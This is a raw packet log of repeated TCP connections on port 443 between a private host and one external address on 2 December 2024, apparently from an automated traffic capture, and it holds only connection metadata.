Dec 2, 2024 04:59:34.932133913 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.932288885 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.932295084 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.252870083 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.252933979 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.252991915 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.253144026 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.253154039 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.253164053 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.253168106 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.255683899 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.255719900 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.255798101 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.255949974 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.255965948 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.277529955 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.280596018 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.280647039 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.280709028 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.280719995 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.280729055 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.280733109 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.282459021 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.282479048 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.282565117 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.282682896 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.282694101 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.354254961 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.354618073 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.354625940 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.354995966 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.355000019 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.670495987 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.670989037 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.671000004 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.671394110 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.671403885 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.788558960 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.792047024 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.792121887 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.792160988 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.792170048 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.792177916 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.792182922 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.794869900 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.794898987 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:35.794975042 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.795129061 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:35.795140982 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.114305019 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.114330053 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.114368916 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.114382029 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.114413023 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.114557028 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.114562988 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.114573002 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.114576101 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.116688013 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.116709948 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.116797924 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.116889954 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.116899014 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.647255898 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.647686005 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.647697926 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.648078918 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.648083925 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.971134901 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.971599102 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.971616030 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:36.971997023 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:36.972002029 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.082165956 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.085330009 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.085385084 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.085414886 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.085422039 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.085436106 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.085438967 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.088068008 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.088104010 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.088171959 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.088278055 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.088289976 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.126281023 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.126624107 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.126636982 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.126961946 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.126966953 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.407219887 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.410231113 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.410286903 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.410347939 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.410365105 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.410376072 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.410382986 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.412632942 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.412651062 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.412715912 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.412837029 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.412848949 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.579430103 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.582771063 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.582827091 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.582856894 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.582868099 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.582884073 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.582889080 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.584966898 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.584995985 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.585063934 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.585175991 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.585186958 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.642965078 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.643378973 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.643405914 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.643812895 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.643817902 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.912703991 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.913080931 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.913100958 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:37.913461924 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:37.913469076 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.096318960 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.096529007 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.096573114 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.096580982 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.096626043 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.096698046 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.096714973 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.096725941 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.096731901 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.099556923 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.099591017 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.099713087 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.099875927 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.099890947 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.356789112 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.359988928 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.360065937 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.360099077 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.360109091 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.360119104 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.360122919 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.362415075 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.362451077 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.362523079 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.362643957 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.362658024 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.885618925 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.886100054 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.886126041 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:38.886509895 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:38.886514902 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.129980087 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.130428076 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.130443096 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.130847931 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.130852938 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.339026928 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.339087009 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.339148045 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.339390993 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.339390993 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.339410067 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.339416981 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.342034101 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.342052937 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.342112064 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.342240095 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.342251062 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.396223068 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.396668911 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.396678925 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.397034883 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.397038937 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.568016052 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.569128990 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.569181919 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.569217920 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.569230080 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.569240093 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.569243908 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.571710110 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.571751118 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.571824074 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.571918011 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.571930885 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.823148966 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.823647022 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.823671103 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.824063063 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.824068069 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.840718031 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.843741894 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.843781948 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.843796968 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.843846083 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.843915939 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.843926907 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.843939066 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.843944073 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.846271992 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.846297979 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:39.846365929 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.846487045 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:39.846499920 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.206449032 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.206868887 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.206891060 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.207262993 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.207267046 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.258095980 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.261375904 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.261437893 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.261475086 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.261488914 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.261499882 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.261503935 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.263859987 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.263887882 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.263964891 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.264092922 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.264103889 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.660623074 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.663747072 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.663815022 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.663881063 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.663898945 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.663909912 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.663914919 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.666459084 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.666481018 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:40.666553020 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.666682959 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:40.666696072 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.185527086 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.185983896 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.185992956 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.186393976 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.186398029 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.350764990 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.351142883 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.351161003 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.351608992 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.351613998 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.634897947 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.635308981 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.635323048 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.635711908 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.635716915 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.640070915 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.643136978 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.643194914 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.643229961 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.643238068 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.643251896 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.643256903 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.645586014 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.645606041 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.645699024 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.645818949 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.645828962 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.794589043 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.794663906 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.794712067 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.794715881 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.794764042 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.794912100 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.794925928 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.794934988 CET	49963	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.794939995 CET	443	49963	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.797408104 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.797426939 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.797499895 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.797655106 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.797667027 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.982207060 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.982600927 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.982613087 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:41.983023882 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:41.983028889 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.078943014 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.082180977 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.082237005 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.082298994 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.082309961 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.082324028 CET	49964	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.082328081 CET	443	49964	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.084764957 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.084783077 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.084851027 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.084978104 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.084992886 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.419117928 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.422245026 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.422307968 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.422358036 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.422405005 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.423219919 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.423228025 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.423240900 CET	49965	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.423244953 CET	443	49965	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.425648928 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.425694942 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.425760031 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.425873995 CET	49970	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.425887108 CET	443	49970	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.512346029 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.512741089 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.512754917 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.513158083 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.513164043 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.965536118 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.968785048 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.968842983 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.968880892 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.968888998 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.968897104 CET	49966	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.968900919 CET	443	49966	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.971580029 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.971609116 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:42.971688986 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.971848011 CET	49971	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:42.971862078 CET	443	49971	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.489085913 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.489655018 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.489664078 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.489990950 CET	49967	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.489995003 CET	443	49967	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.577157974 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.577511072 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.577542067 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.577919006 CET	49968	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.577925920 CET	443	49968	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.930510044 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.931016922 CET	49969	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:43.931039095 CET	443	49969	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:43.931428909 CET	49969	443	192.168.2.4	13.107.246.63
